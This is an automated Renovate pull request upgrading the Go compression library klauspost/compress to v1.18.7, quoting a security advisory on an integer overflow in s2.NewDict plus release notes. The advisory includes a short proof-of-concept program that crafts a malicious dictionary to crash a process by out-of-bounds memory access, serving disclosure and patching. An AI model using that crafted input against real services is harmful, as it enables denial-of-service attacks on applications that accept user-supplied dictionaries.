[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/klauspost/compress	v1.18.0 → v1.18.7

---

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

CVE-2026-63209 / GHSA-259r-337f-4rfw

More information

Details

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

• Name: github.com/klauspost/compress/s2
• Ecosystem: Go
• Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

• CWE-190: Integer Overflow or Wraparound
• CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

• Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

• Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
• Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw
• https://nvd.nist.gov/vuln/detail/CVE-2026-63209
• https://github.com/klauspost/compress/pull/1163
• https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536
• https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa
• https://github.com/klauspost/compress/releases/tag/v1.18.7
• https://github.com/advisories/GHSA-259r-337f-4rfw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

klauspost/compress (github.com/klauspost/compress)

v1.18.7

Compare Source

• Fix s2.NewDict OOB read.

Security release without other changes.

Full Changelog: klauspost/compress@v1.18.6...v1.18.7

v1.18.6

Compare Source

What's Changed

• s2: Fix amd64 stack frame corruption by @​klauspost in #​1145
• gzhttp: Canonicalize ETag header by @​justinmayhew in #​1139
• perf: pool hash tables in Go encode paths to reduce allocations by @​huynhanx03 in #​1143

New Contributors

• @​justinmayhew made their first contribution in #​1139
• @​huynhanx03 made their first contribution in #​1143
• @​thaJeztah made their first contribution in #​1144

Full Changelog: klauspost/compress@v1.18.5...v1.18.6

v1.18.5

Compare Source

What's Changed

• zstd: Fix crash when changing encoder dictionary with same ID by @​klauspost in #​1135
• zstd: Default to full zero frames by @​klauspost in #​1134
• flate: Clean up histogram order by @​klauspost in #​1133

Full Changelog: klauspost/compress@v1.18.4...v1.18.5

v1.18.4

Compare Source

What's Changed

• gzhttp: Add zstandard to server handler wrapper by @​klauspost in #​1121
• zstd: Add ResetWithOptions to encoder/decoder by @​klauspost in #​1122
• gzhttp: preserve qvalue when extra parameters follow in Accept-Encoding by @​analytically in #​1116

New Contributors

• @​analytically made their first contribution in #​1116
• @​ethaizone made their first contribution in #​1124
• @​zwass made their first contribution in #​1125

Full Changelog: klauspost/compress@v1.18.2...v1.18.4

v1.18.3

Compare Source

Downstream CVE-2025-61728

See golang/go#77102

Full Changelog: klauspost/compress@v1.18.2...v1.18.3

v1.18.2

Compare Source

What's Changed

• flate: Fix invalid encoding on level 9 with single value input by @​klauspost in #​1115
• flate: reduce stateless allocations by @​RXamzin in #​1106
• build(deps): bump github/codeql-action from 3.30.5 to 4.31.2 in the github-actions group by @​dependabot[bot] in #​1111

v1.18.1 is marked "retracted" due to invalid flate/zip/gzip encoding.

New Contributors

• @​RXamzin made their first contribution in #​1106

Full Changelog: klauspost/compress@v1.18.1...v1.18.2

v1.18.1

Compare Source

What's Changed

• zstd: Fix incorrect buffer size in dictionary encodes by @​klauspost in #​1059
• s2: check for cap, not len of buffer in EncodeBetter/Best by @​vdarulis in #​1080
• zstd: Add simple zstd EncodeTo/DecodeTo functions by @​klauspost in #​1079
• zlib: Avoiding extra allocation in zlib.reader.Reset by @​travelpolicy in #​1086
• gzhttp: remove redundant err check in zstdReader by @​ryanfowler in #​1090
• Run modernize. Deprecate Go 1.22 by @​klauspost in #​1095
• flate: Simplify matchlen by @​klauspost in #​1101
• flate: Add examples by @​klauspost in #​1102
• flate: Use exact sizes for huffman tables by @​klauspost in #​1103
• flate: Faster load+store by @​klauspost in #​1104
• Add notice to S2 about MinLZ by @​klauspost in #​1065

New Contributors

• @​wooffie made their first contribution in #​1069
• @​vdarulis made their first contribution in #​1080
• @​travelpolicy made their first contribution in #​1086
• @​ryanfowler made their first contribution in #​1090

Full Changelog: klauspost/compress@v1.18.0...v1.18.1

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.